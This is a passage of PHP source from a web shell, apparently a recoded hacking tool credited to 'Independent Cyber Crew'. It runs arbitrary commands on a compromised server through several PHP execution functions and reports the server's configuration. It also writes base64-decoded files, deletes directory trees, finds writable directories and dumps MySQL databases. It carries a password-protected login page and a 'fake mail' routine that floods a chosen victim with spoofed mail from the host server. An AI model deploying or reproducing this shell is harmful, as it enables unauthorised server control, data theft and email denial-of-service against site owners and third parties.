1526 $exec = $wsh->exec('cmd.exe /c '.$command);
1527 $stdout = $exec->StdOut();
1528 $stroutput = $stdout->ReadAll();
1529 echo $stroutput;
1530 } elseif ($execfunc=='proc_open' && IS_WIN && IS_COM) {
1531 $descriptorspec = array(
1532 0 => array('pipe', 'r'),
1533 1 => array('pipe', 'w'),
1534 2 => array('pipe', 'w')
1535 );
1536 $process = proc_open($_SERVER['COMSPEC'], $descriptorspec, $pipes);
1537 if (is_resource($process)) {
1538 fwrite($pipes[0], $command."\r\n");
1539 fwrite($pipes[0], "exit\r\n");
1540 fclose($pipes[0]);
1541 while (!feof($pipes[1])) {
1542 echo fgets($pipes[1], 1024);
1543 }
1544 fclose($pipes[1]);
1545 while (!feof($pipes[2])) {
1546 echo fgets($pipes[2], 1024);
1547 }
1548 fclose($pipes[2]);
1549 proc_close($process);
1550 }
1551 } else {
1552 echo(execute($command));
1553 }
1554 p('</pre>');
1555 }
1556}//end shell
1557
1558elseif ($action == 'phpenv') {
1559 $upsize=getcfg('file_uploads') ? getcfg('upload_max_filesize') : 'Not allowed';
1560 $adminmail=isset($_SERVER['SERVER_ADMIN']) ? $_SERVER['SERVER_ADMIN'] : getcfg('sendmail_from');
1561 !$dis_func && $dis_func = 'No';
1562 $info = array(
1563 1 => array('Server Time',date('Y/m/d h:i:s',$timestamp)),
1564 2 => array('Server Domain',$_SERVER['SERVER_NAME']),
1565 3 => array('Server IP',gethostbyname($_SERVER['SERVER_NAME'])),
1566 4 => array('Server OS',PHP_OS),
1567 5 => array('Server OS Charset',$_SERVER['HTTP_ACCEPT_LANGUAGE']),
1568 6 => array('Server Software',$_SERVER['SERVER_SOFTWARE']),
1569 7 => array('Server Web Port',$_SERVER['SERVER_PORT']),
1570 8 => array('PHP run mode',strtoupper(php_sapi_name())),
1571 9 => array('The file path',__FILE__),
1572
1573 10 => array('PHP Version',PHP_VERSION),
1574 11 => array('PHPINFO',(IS_PHPINFO ? '<a href="javascript:goaction(\'phpinfo\');">Yes</a>' : 'No')),
1575 12 => array('Safe Mode',getcfg('safe_mode')),
1576 13 => array('Administrator',$adminmail),
1577 14 => array('allow_url_fopen',getcfg('allow_url_fopen')),
1578 15 => array('enable_dl',getcfg('enable_dl')),
1579 16 => array('display_errors',getcfg('display_errors')),
1580 17 => array('register_globals',getcfg('register_globals')),
1581 18 => array('magic_quotes_gpc',getcfg('magic_quotes_gpc')),
1582 19 => array('memory_limit',getcfg('memory_limit')),
1583 20 => array('post_max_size',getcfg('post_max_size')),
1584 21 => array('upload_max_filesize',$upsize),
1585 22 => array('max_execution_time',getcfg('max_execution_time').' second(s)'),
1586 23 => array('disable_functions',$dis_func),
1587 );
1588
1589 if($phpvarname) {
1590 m($phpvarname .' : '.getcfg($phpvarname));
1591 }
1592
1593 formhead(array('title'=>'Server environment'));
1594 makehide('action','phpenv');
1595 makeinput(array('title'=>'Please input PHP configuration parameter(eg:magic_quotes_gpc)','name'=>'phpvarname','value'=>$phpvarname,'newline'=>1));
1596 formfooter();
1597
1598 $hp = array(0=> 'Server', 1=> 'PHP');
1599 for($a=0;$a<2;$a++) {
1600 p('<h2>'.$hp[$a].' »</h2>');
1601 p('<ul class="info">');
1602 if ($a==0) {
1603 for($i=1;$i<=9;$i++) {
1604 p('<li><u>'.$info[$i][0].':</u>'.$info[$i][1].'</li>');
1605 }
1606 } elseif ($a == 1) {
1607 for($i=10;$i<=23;$i++) {
1608 p('<li><u>'.$info[$i][0].':</u>'.$info[$i][1].'</li>');
1609 }
1610 }
1611 p('</ul>');
1612 }
1613}//end phpenv
1614
1615else {
1616 m('Undefined Action');
1617}
1618//fake mail = Use victim server 4 DOS - fake mail
1619 if ( $id=="fake-mail"){
1620 error_reporting(0);
1621 echo "<br><center><h3> Fake Mail- DOS E-mail By Victim Server </h3></center>" ;
1622 echo "<center><form method='post' action=''>
1623 Victim Mail :<br><input type='text' name='to' ><br>
1624 Number-Mail :<br><input type='text' size='5' name='nom' value='100'><br>
1625 Comments:
1626 <br>
1627 <textarea rows='10' cols=50 name='Comments' ></textarea><br>
1628 <input type='submit' value='Send Mail Strm ' >
1629 </form></center>";
1630 //send Storm Mail
1631 $to=$_POST['to'];
1632 $nom=$_POST['nom'];
1633 $Comments=$_POST['Comments'];
1634 if ($to <> "" ){
1635 for ($i = 0; $i < $nom ; $i++){
1636 $from = rand (71,1020000000)."@"."tuoitre.vn";
1637 $subject= md5("$from");
1638 mail($to,$subject,$Comments,"From:$from");
1639 echo "$i is ok";
1640 }
1641 echo "<script language='javascript'> alert('Loading - please waite ...')</script>";
1642 }
1643 }
1644 //***
1645?></td>
1646</tr></table>
1647<div style="padding:10px;border-bottom:1px solid #0E0E0E;border-top:1px solid #0E0E0E;background:#0E0E0E;">
1648 <span style="float:right;"><?php debuginfo();ob_end_flush();?></span>
1649 Recoded (R) 2013<strong> By: Independent Cyber Crew </strong><B></div>
1650</body>
1651</html>
1652
1653
1654
1655
1656
1657
1658<?php
1659
1660/*======================================================
1661Show info shell
1662======================================================*/
1663
1664function m($msg) {
1665 echo '<div style="background:#f1f1f1;border:1px solid #ddd;padding:15px;font:14px;text-align:center;font-weight:bold;">';
1666 echo $msg;
1667 echo '</div>';
1668}
1669function scookie($key, $value, $life = 0, $prefix = 1) {
1670 global $admin, $timestamp, $_SERVER;
1671 $key = ($prefix ? $admin['cookiepre'] : '').$key;
1672 $life = $life ? $life : $admin['cookielife'];
1673 $useport = $_SERVER['SERVER_PORT'] == 443 ? 1 : 0;
1674 setcookie($key, $value, $timestamp+$life, $admin['cookiepath'], $admin['cookiedomain'], $useport);
1675}
1676function multi($num, $perpage, $curpage, $tablename) {
1677 $multipage = '';
1678 if($num > $perpage) {
1679 $page = 10;
1680 $offset = 5;
1681 $pages = @ceil($num / $perpage);
1682 if($page > $pages) {
1683 $from = 1;
1684 $to = $pages;
1685 } else {
1686 $from = $curpage - $offset;
1687 $to = $curpage + $page - $offset - 1;
1688 if($from < 1) {
1689 $to = $curpage + 1 - $from;
1690 $from = 1;
1691 if(($to - $from) < $page && ($to - $from) < $pages) {
1692 $to = $page;
1693 }
1694 } elseif($to > $pages) {
1695 $from = $curpage - $pages + $to;
1696 $to = $pages;
1697 if(($to - $from) < $page && ($to - $from) < $pages) {
1698 $from = $pages - $page + 1;
1699 }
1700 }
1701 }
1702 $multipage = ($curpage - $offset > 1 && $pages > $page ? '<a href="javascript:settable(\''.$tablename.'\', \'\', 1);">First</a> ' : '').($curpage > 1 ? '<a href="javascript:settable(\''.$tablename.'\', \'\', '.($curpage - 1).');">Prev</a> ' : '');
1703 for($i = $from; $i <= $to; $i++) {
1704 $multipage .= $i == $curpage ? $i.' ' : '<a href="javascript:settable(\''.$tablename.'\', \'\', '.$i.');">['.$i.']</a> ';
1705 }
1706 $multipage .= ($curpage < $pages ? '<a href="javascript:settable(\''.$tablename.'\', \'\', '.($curpage + 1).');">Next</a>' : '').($to < $pages ? ' <a href="javascript:settable(\''.$tablename.'\', \'\', '.$pages.');">Last</a>' : '');
1707 $multipage = $multipage ? '<p>Pages: '.$multipage.'</p>' : '';
1708 }
1709 return $multipage;
1710}
1711// Login page
1712function loginpage() {
1713?>
1714<html>
1715<head>
1716
1717<body bgcolor=black background-color: #333333;>
1718
1719 <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
1720<title></title>
1721<style type="text/css">
1722A:link {text-decoration: none; color: green }
1723A:visited {text-decoration: none;color:red}
1724A:active {text-decoration: none}
1725A:hover {text-decoration: underline; color: green;}
1726input, textarea, button
1727{
1728 font-size: 9pt;
1729 color: #ccc;
1730 font-family: verdana, sans-serif;
1731 background-color: #202020;
1732 border-left: 1px solid #99CC33;
1733 border-top: 1px solid #99CC33;
1734 border-right: 1px solid #99CC33;
1735 border-bottom: 1px solid #99CC33;
1736}
1737
1738</style>
1739
1740 <BR><BR>
1741<div align=center >
1742<fieldset style="border: 1px solid rgb(69, 69, 69); padding: 4px;width:450px;bgcolor:white;align:center;font-family:tahoma;font-size:10pt"><legend><font color=red><B>Administration Page</b></font></legend>
1743
1744<div>
1745<font color=#99CC33>
1746<font color=yellow>Enter Your Password</font><BR><BR>
1747
1748<form method="POST" action="">
1749 <span style="font:10pt tahoma;">Password: </span><input name="password" type="password" size="20">
1750 <input type="hidden" name="doing" value="login">
1751 <input type="submit" value="Login">
1752 </form>
1753<BR>
1754<?php
1755echo "".$err_mess."";
1756?>
1757
1758 <B><font color=red>
1759<a href=http://facebook.com/arch.cyber.1 target=_blank></a><BR></b>
1760
1761
1762
1763
1764
1765</div>
1766
1767
1768 </fieldset>
1769
1770
1771
1772</head>
1773</html>
1774
1775
1776<?php
1777 exit;
1778
1779}//end loginpage()
1780
1781function execute($cfe) {
1782 $res = '';
1783 if ($cfe) {
1784 if(function_exists('exec')) {
1785 @exec($cfe,$res);
1786 $res = join("\n",$res);
1787 } elseif(function_exists('shell_exec')) {
1788 $res = @shell_exec($cfe);
1789 } elseif(function_exists('system')) {
1790 @ob_start();
1791 @system($cfe);
1792 $res = @ob_get_contents();
1793 @ob_end_clean();
1794 } elseif(function_exists('passthru')) {
1795 @ob_start();
1796 @passthru($cfe);
1797 $res = @ob_get_contents();
1798 @ob_end_clean();
1799 } elseif(@is_resource($f = @popen($cfe,"r"))) {
1800 $res = '';
1801 while(!@feof($f)) {
1802 $res .= @fread($f,1024);
1803 }
1804 @pclose($f);
1805 }
1806 }
1807 return $res;
1808}
1809function which($pr) {
1810 $path = execute("which $pr");
1811 return ($path ? $path : $pr);
1812}
1813
1814function cf($fname,$text){
1815 if($fp=@fopen($fname,'w')) {
1816 @fputs($fp,@base64_decode($text));
1817 @fclose($fp);
1818 }
1819}
1820
1821// Debug
1822function debuginfo() {
1823 global $starttime;
1824 $mtime = explode(' ', microtime());
1825 $totaltime = number_format(($mtime[1] + $mtime[0] - $starttime), 6);
1826 echo 'Processed in '.$totaltime.' second(s)';
1827}
1828
1829// Function connect database
1830function dbconn($dbhost,$dbuser,$dbpass,$dbname='',$charset='',$dbport='3306') {
1831 if(!$link = @mysql_connect($dbhost.':'.$dbport, $dbuser, $dbpass)) {
1832 p('<h2>Can not connect to MySQL server</h2>');
1833 exit;
1834 }
1835 if($link && $dbname) {
1836 if (!@mysql_select_db($dbname, $link)) {
1837 p('<h2>Database selected has error</h2>');
1838 exit;
1839 }
1840 }
1841 if($link && mysql_get_server_info() > '4.1') {
1842 if(in_array(strtolower($charset), array('gbk', 'big5', 'utf8'))) {
1843 q("SET character_set_connection=$charset, character_set_results=$charset, character_set_client=binary;", $link);
1844 }
1845 }
1846 return $link;
1847}
1848
1849// Array strip
1850function s_array(&$array) {
1851 if (is_array($array)) {
1852 foreach ($array as $k => $v) {
1853 $array[$k] = s_array($v);
1854 }
1855 } else if (is_string($array)) {
1856 $array = stripslashes($array);
1857 }
1858 return $array;
1859}
1860
1861// HTML Strip
1862function html_clean($content) {
1863 $content = htmlspecialchars($content);
1864 $content = str_replace("\n", "<br />", $content);
1865 $content = str_replace(" ", " ", $content);
1866 $content = str_replace("\t", " ", $content);
1867 return $content;
1868}
1869
1870// Chmod
1871function getChmod($filepath){
1872 return substr(base_convert(@fileperms($filepath),10,8),-4);
1873}
1874
1875function getPerms($filepath) {
1876 $mode = @fileperms($filepath);
1877 if (($mode & 0xC000) === 0xC000) {$type = 's';}
1878 elseif (($mode & 0x4000) === 0x4000) {$type = 'd';}
1879 elseif (($mode & 0xA000) === 0xA000) {$type = 'l';}
1880 elseif (($mode & 0x8000) === 0x8000) {$type = '-';}
1881 elseif (($mode & 0x6000) === 0x6000) {$type = 'b';}
1882 elseif (($mode & 0x2000) === 0x2000) {$type = 'c';}
1883 elseif (($mode & 0x1000) === 0x1000) {$type = 'p';}
1884 else {$type = '?';}
1885
1886 $owner['read'] = ($mode & 00400) ? 'r' : '-';
1887 $owner['write'] = ($mode & 00200) ? 'w' : '-';
1888 $owner['execute'] = ($mode & 00100) ? 'x' : '-';
1889 $group['read'] = ($mode & 00040) ? 'r' : '-';
1890 $group['write'] = ($mode & 00020) ? 'w' : '-';
1891 $group['execute'] = ($mode & 00010) ? 'x' : '-';
1892 $world['read'] = ($mode & 00004) ? 'r' : '-';
1893 $world['write'] = ($mode & 00002) ? 'w' : '-';
1894 $world['execute'] = ($mode & 00001) ? 'x' : '-';
1895
1896 if( $mode & 0x800 ) {$owner['execute'] = ($owner['execute']=='x') ? 's' : 'S';}
1897 if( $mode & 0x400 ) {$group['execute'] = ($group['execute']=='x') ? 's' : 'S';}
1898 if( $mode & 0x200 ) {$world['execute'] = ($world['execute']=='x') ? 't' : 'T';}
1899
1900 return $type.$owner['read'].$owner['write'].$owner['execute'].$group['read'].$group['write'].$group['execute'].$world['read'].$world['write'].$world['execute'];
1901}
1902
1903function getUser($filepath) {
1904 if (function_exists('posix_getpwuid')) {
1905 $array = @posix_getpwuid(@fileowner($filepath));
1906 if ($array && is_array($array)) {
1907 return ' / <a href="#" title="User: '.$array['name'].'
1908Passwd: '.$array['passwd'].'
1909Uid: '.$array['uid'].'
1910gid: '.$array['gid'].'
1911Gecos: '.$array['gecos'].'
1912Dir: '.$array['dir'].'
1913Shell: '.$array['shell'].'">'.$array['name'].'</a>';
1914 }
1915 }
1916 return '';
1917}
1918
1919// Delete dir
1920function deltree($deldir) {
1921 $mydir=@dir($deldir);
1922 while($file=$mydir->read()) {
1923 if((is_dir($deldir.'/'.$file)) && ($file!='.') && ($file!='..')) {
1924 @chmod($deldir.'/'.$file,0777);
1925 deltree($deldir.'/'.$file);
1926 }
1927 if (is_file($deldir.'/'.$file)) {
1928 @chmod($deldir.'/'.$file,0777);
1929 @unlink($deldir.'/'.$file);
1930 }
1931 }
1932 $mydir->close();
1933 @chmod($deldir,0777);
1934 return @rmdir($deldir) ? 1 : 0;
1935}
1936
1937// Background
1938function bg() {
1939 global $bgc;
1940 return ($bgc++%2==0) ? 'alt1' : 'alt2';
1941}
1942
1943// Get path
1944function getPath($scriptpath, $nowpath) {
1945 if ($nowpath == '.') {
1946 $nowpath = $scriptpath;
1947 }
1948 $nowpath = str_replace('\\', '/', $nowpath);
1949 $nowpath = str_replace('//', '/', $nowpath);
1950 if (substr($nowpath, -1) != '/') {
1951 $nowpath = $nowpath.'/';
1952 }
1953 return $nowpath;
1954}
1955
1956// Get up path
1957function getUpPath($nowpath) {
1958 $pathdb = explode('/', $nowpath);
1959 $num = count($pathdb);
1960 if ($num > 2) {
1961 unset($pathdb[$num-1],$pathdb[$num-2]);
1962 }
1963 $uppath = implode('/', $pathdb).'/';
1964 $uppath = str_replace('//', '/', $uppath);
1965 return $uppath;
1966}
1967
1968// Config
1969function getcfg($varname) {
1970 $result = get_cfg_var($varname);
1971 if ($result == 0) {
1972 return 'No';
1973 } elseif ($result == 1) {
1974 return 'Yes';
1975 } else {
1976 return $result;
1977 }
1978}
1979
1980// Function name
1981function getfun($funName) {
1982 return (false !== function_exists($funName)) ? 'Yes' : 'No';
1983}
1984
1985function GetList($dir){
1986 global $dirdata,$j,$nowpath;
1987 !$j && $j=1;
1988 if ($dh = opendir($dir)) {
1989 while ($file = readdir($dh)) {
1990 $f=str_replace('//','/',$dir.'/'.$file);
1991 if($file!='.' && $file!='..' && is_dir($f)){
1992 if (is_writable($f)) {
1993 $dirdata[$j]['filename']=str_replace($nowpath,'',$f);
1994 $dirdata[$j]['mtime']=@date('Y-m-d H:i:s',filemtime($f));
1995 $dirdata[$j]['dirchmod']=getChmod($f);
1996 $dirdata[$j]['dirperm']=getPerms($f);
1997 $dirdata[$j]['dirlink']=ue($dir);
1998 $dirdata[$j]['server_link']=$f;
1999 $dirdata[$j]['client_link']=ue($f);
2000 $j++;
2001 }
2002 GetList($f);
2003 }
2004 }
2005 closedir($dh);
2006 clearstatcache();
2007 return $dirdata;
2008 } else {
2009 return array();
2010 }
2011}
2012
2013function qy($sql) {
2014 //echo $sql.'<br>';
2015 $res = $error = '';
2016 if(!$res = @mysql_query($sql)) {
2017 return 0;
2018 } else if(is_resource($res)) {
2019 return 1;
2020 } else {
2021 return 2;
2022 }
2023 return 0;
2024}
2025
2026function q($sql) {
2027 return @mysql_query($sql);
2028}
2029
2030function fr($qy){
2031 mysql_free_result($qy);
2032}
2033
2034function sizecount($size) {
2035 if($size > 1073741824) {
2036 $size = round($size / 1073741824 * 100) / 100 . ' G';
2037 } elseif($size > 1048576) {
2038 $size = round($size / 1048576 * 100) / 100 . ' M';
2039 } elseif($size > 1024) {
2040 $size = round($size / 1024 * 100) / 100 . ' K';
2041 } else {
2042 $size = $size . ' B';
2043 }
2044 return $size;
2045}
2046
2047// Zip
2048class PHPZip{
2049 var $out='';
2050 function PHPZip($dir) {
2051 if (@function_exists('gzcompress')) {
2052 $curdir = getcwd();
2053 if (is_array($dir)) $filelist = $dir;
2054 else{
2055 $filelist=$this -> GetFileList($dir);//File list
2056 foreach($filelist as $k=>$v) $filelist[]=substr($v,strlen($dir)+1);
2057 }
2058 if ((!empty($dir))&&(!is_array($dir))&&(file_exists($dir))) chdir($dir);
2059 else chdir($curdir);
2060 if (count($filelist)>0){
2061 foreach($filelist as $filename){
2062 if (is_file($filename)){
2063 $fd = fopen ($filename, 'r');
2064 $content = @fread ($fd, filesize($filename));
2065 fclose ($fd);
2066 if (is_array($dir)) $filename = basename($filename);
2067 $this -> addFile($content, $filename);
2068 }
2069 }
2070 $this->out = $this -> file();
2071 chdir($curdir);
2072 }
2073 return 1;
2074 }
2075 else return 0;
2076 }
2077
2078 // Show file list
2079 function GetFileList($dir){
2080 static $a;
2081 if (is_dir($dir)) {
2082 if ($dh = opendir($dir)) {
2083 while ($file = readdir($dh)) {
2084 if($file!='.' && $file!='..'){
2085 $f=$dir .'/'. $file;
2086 if(is_dir($f)) $this->GetFileList($f);
2087 $a[]=$f;
2088 }
2089 }
2090 closedir($dh);
2091 }
2092 }
2093 return $a;
2094 }
2095
2096 var $datasec = array();
2097 var $ctrl_dir = array();
2098 var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00";
2099 var $old_offset = 0;
2100
2101 function unix2DosTime($unixtime = 0) {
2102 $timearray = ($unixtime == 0) ? getdate() : getdate($unixtime);
2103 if ($timearray['year'] < 1980) {
2104 $timearray['year'] = 1980;
2105 $timearray['mon'] = 1;
2106 $timearray['mday'] = 1;
2107 $timearray['hours'] = 0;
2108 $timearray['minutes'] = 0;
2109 $timearray['seconds'] = 0;
2110 } // end if
2111 return (($timearray['year'] - 1980) << 25) | ($timearray['mon'] << 21) | ($timearray['mday'] << 16) |
2112 ($timearray['hours'] << 11) | ($timearray['minutes'] << 5) | ($timearray['seconds'] >> 1);
2113 }
2114
2115 function addFile($data, $name, $time = 0) {
2116 $name = str_replace('\\', '/', $name);
2117
2118 $dtime = dechex($this->unix2DosTime($time));
2119 $hexdtime = '\x' . $dtime[6] . $dtime[7]
2120 . '\x' . $dtime[4] . $dtime[5]
2121 . '\x' . $dtime[2] . $dtime[3]
2122 . '\x' . $dtime[0] . $dtime[1];
2123 eval('$hexdtime = "' . $hexdtime . '";');
2124 $fr = "\x50\x4b\x03\x04";
2125 $fr .= "\x14\x00";
2126 $fr .= "\x00\x00";
2127 $fr .= "\x08\x00";
2128 $fr .= $hexdtime;
2129
2130 $unc_len = strlen($data);
2131 $crc = crc32($data);
2132 $zdata = gzcompress($data);
2133 $c_len = strlen($zdata);
2134 $zdata = substr(substr($zdata, 0, strlen($zdata) - 4), 2);
2135 $fr .= pack('V', $crc);
2136 $fr .= pack('V', $c_len);
2137 $fr .= pack('V', $unc_len);
2138 $fr .= pack('v', strlen($name));
2139 $fr .= pack('v', 0);
2140 $fr .= $name;
2141 $fr .= $zdata;
2142 $fr .= pack('V', $crc);
2143 $fr .= pack('V', $c_len);
2144 $fr .= pack('V', $unc_len);
2145
2146 $this -> datasec[] = $fr;
2147 $new_offset = strlen(implode('', $this->datasec));
2148
2149 $cdrec = "\x50\x4b\x01\x02";
2150 $cdrec .= "\x00\x00";
2151 $cdrec .= "\x14\x00";
2152 $cdrec .= "\x00\x00";
2153 $cdrec .= "\x08\x00";
2154 $cdrec .= $hexdtime;
2155 $cdrec .= pack('V', $crc);
2156 $cdrec .= pack('V', $c_len);
2157 $cdrec .= pack('V', $unc_len);
2158 $cdrec .= pack('v', strlen($name) );
2159 $cdrec .= pack('v', 0 );
2160 $cdrec .= pack('v', 0 );
2161 $cdrec .= pack('v', 0 );
2162 $cdrec .= pack('v', 0 );
2163 $cdrec .= pack('V', 32 );
2164 $cdrec .= pack('V', $this -> old_offset );
2165 $this -> old_offset = $new_offset;
2166 $cdrec .= $name;
2167
2168 $this -> ctrl_dir[] = $cdrec;
2169 }
2170
2171 function file() {
2172 $data = implode('', $this -> datasec);
2173 $ctrldir = implode('', $this -> ctrl_dir);
2174 return $data . $ctrldir . $this -> eof_ctrl_dir . pack('v', sizeof($this -> ctrl_dir)) . pack('v', sizeof($this -> ctrl_dir)) . pack('V', strlen($ctrldir)) . pack('V', strlen($data)) . "\x00\x00";
2175 }
2176}
2177
2178// Dump mysql
2179function sqldumptable($table, $fp=0) {
2180 $tabledump = "DROP TABLE IF EXISTS $table;\n";
2181 $tabledump .= "CREATE TABLE $table (\n";
2182
2183 $firstfield=1;
2184
2185 $fields = q("SHOW FIELDS FROM $table");
2186 while ($field = mysql_fetch_array($fields)) {
2187 if (!$firstfield) {
2188 $tabledump .= ",\n";
2189 } else {
2190 $firstfield=0;
2191 }
2192 $tabledump .= " $field[Field] $field[Type]";
2193 if (!empty($field["Default"])) {
2194 $tabledump .= " DEFAULT '$field[Default]'";
2195 }
2196 if ($field['Null'] != "YES") {
2197 $tabledump .= " NOT NULL";
2198 }
2199 if ($field['Extra'] != "") {
2200 $tabledump .= " $field[Extra]";
2201 }
2202 }
2203 fr($fields);
2204
2205 $keys = q("SHOW KEYS FROM $table");
2206 while ($key = mysql_fetch_array($keys)) {
2207 $kname=$key['Key_name'];
2208 if ($kname != "PRIMARY" && $key['Non_unique'] == 0) {
2209 $kname="UNIQUE|$kname";
2210 }
2211 if(!is_array($index[$kname])) {
2212 $index[$kname] = array();
2213 }
2214 $index[$kname][] = $key['Column_name'];
2215 }
2216 fr($keys);
2217
2218 while(list($kname, $columns) = @each($index)) {
2219 $tabledump .= ",\n";
2220 $colnames=implode($columns,",");
2221
2222 if ($kname == "PRIMARY") {
2223 $tabledump .= " PRIMARY KEY ($colnames)";
2224 } else {
2225 if (substr($kname,0,6) == "UNIQUE") {
2226 $kname=substr($kname,7);
2227 }
2228 $tabledump .= " KEY $kname ($colnames)";
2229 }
2230 }
2231
2232 $tabledump .= "\n);\n\n";
2233 if ($fp) {
2234 fwrite($fp,$tabledump);
2235 } else {
2236 echo $tabledump;
2237 }
2238
2239 $rows = q("SELECT * FROM $table");
2240 $numfields = mysql_num_fields($rows);
2241 while ($row = mysql_fetch_array($rows)) {
2242 $tabledump = "INSERT INTO $table VALUES(";
2243
2244 $fieldcounter=-1;
2245 $firstfield=1;
2246 while (++$fieldcounter<$numfields) {
2247 if (!$firstfield) {
2248 $tabledump.=", ";
2249 } else {
2250 $firstfield=0;
2251 }
2252
2253 if (!isset($row[$fieldcounter])) {
2254 $tabledump .= "NULL";
2255 } else {
2256 $tabledump .= "'".mysql_escape_string($row[$fieldcounter])."'";
2257 }
2258 }
2259
2260 $tabledump .= ");\n";
2261
2262 if ($fp) {
2263 fwrite($fp,$tabledump);
2264 } else {
2265 echo $tabledump;
2266 }
2267 }
2268 fr($rows);
2269 if ($fp) {
2270 fwrite($fp,"\n");
2271 } else {
2272 echo "\n";
2273 }
2274}
2275
2276function ue($str){
2277 return urlencode($str);
2278}
2279
2280function p($str){
2281 echo $str."\n";
2282}
2283
2284function tbhead() {
2285 p('<table width="100%" border="0" cellpadding="4" cellspacing="0">');
2286}
2287function tbfoot(){
2288 p('</table>');
2289}
2290
2291function makehide($name,$value=''){
2292 p("<input id=\"$name\" type=\"hidden\" name=\"$name\" value=\"$value\" />");
2293}
2294
2295function makeinput($arg = array()){
2296 $arg['size'] = $arg['size'] > 0 ? "size=\"$arg[size]\"" : "size=\"100\"";
2297 $arg['extra'] = $arg['extra'] ? $arg['extra'] : '';
2298 !$arg['type'] && $arg['type'] = 'text';
2299 $arg['title'] = $arg['title'] ? $arg['title'].'<br />' : '';
2300 $arg['class'] = $arg['class'] ? $arg['class'] : 'input';
2301 if ($arg['newline']) {
2302 p("<p>$arg[title]<input class=\"$arg[class]\" name=\"$arg[name]\" id=\"$arg[name]\" value=\"$arg[value]\" type=\"$arg[type]\" $arg[size] $arg[extra] /></p>");
2303 } else {
2304 p("$arg[title]<input class=\"$arg[class]\" name=\"$arg[name]\" id=\"$arg[name]\" value=\"$arg[value]\" type=\"$arg[type]\" $arg[size] $arg[extra] />");
2305 }
2306}
2307
2308function makeselect($arg = array()){
2309 if ($arg['onchange']) {
2310 $onchange = 'onchange="'.$arg['onchange'].'"';
2311 }
2312 $arg['title'] = $arg['title'] ? $arg['title'] : '';
2313 if ($arg['newline']) p('<p>');
2314 p("$arg[title] <select class=\"input\" id=\"$arg[name]\" name=\"$arg[name]\" $onchange>");
2315 if (is_array($arg['option'])) {
2316 foreach ($arg['option'] as $key=>$value) {
2317 if ($arg['selected']==$key) {
2318 p("<option value=\"$key\" selected>$value</option>");
2319 } else {
2320 p("<option value=\"$key\">$value</option>");
2321 }
2322 }
2323 }
2324 p("</select>");
2325 if ($arg['newline']) p('</p>');
2326}
2327function formhead($arg = array()) {
2328 !$arg['method'] && $arg['method'] = 'post';
2329 !$arg['action'] && $arg['action'] = $self;
2330 $arg['target'] = $arg['target'] ? "target=\"$arg[target]\"" : '';
2331 !$arg['name'] && $arg['name'] = 'form1';
2332 p("<form name=\"$arg[name]\" id=\"$arg[name]\" action=\"$arg[action]\" method=\"$arg[method]\" $arg[target]>");
2333 if ($arg['title']) {
2334 p('<h2>'.$arg['title'].' »</h2>');
2335 }
2336}
2337
2338function maketext($arg = array()){
2339 !$arg['cols'] && $arg['cols'] = 100;
2340 !$arg['rows'] && $arg['rows'] = 25;
2341 $arg['title'] = $arg['title'] ? $arg['title'].'<br />' : '';
2342 p("<p>$arg[title]<textarea class=\"area\" id=\"$arg[name]\" name=\"$arg[name]\" cols=\"$arg[cols]\" rows=\"$arg[rows]\" $arg[extra]>$arg[value]</textarea></p>");
2343}
2344
2345function formfooter($name = ''){
2346 !$name && $name = 'submit';
2347 p('<p><input class="bt" name="'.$name.'" id=\"'.$name.'\" type="submit" value="Submit"></p>');
2348 p('</form>');
2349}
2350
2351function formfoot(){
2352 p('</form>');
2353}
2354
2355// Exit
2356function pr($a) {
2357 echo '<pre>';
2358 print_r($a);
2359 echo '</pre>';
2360}
2361?>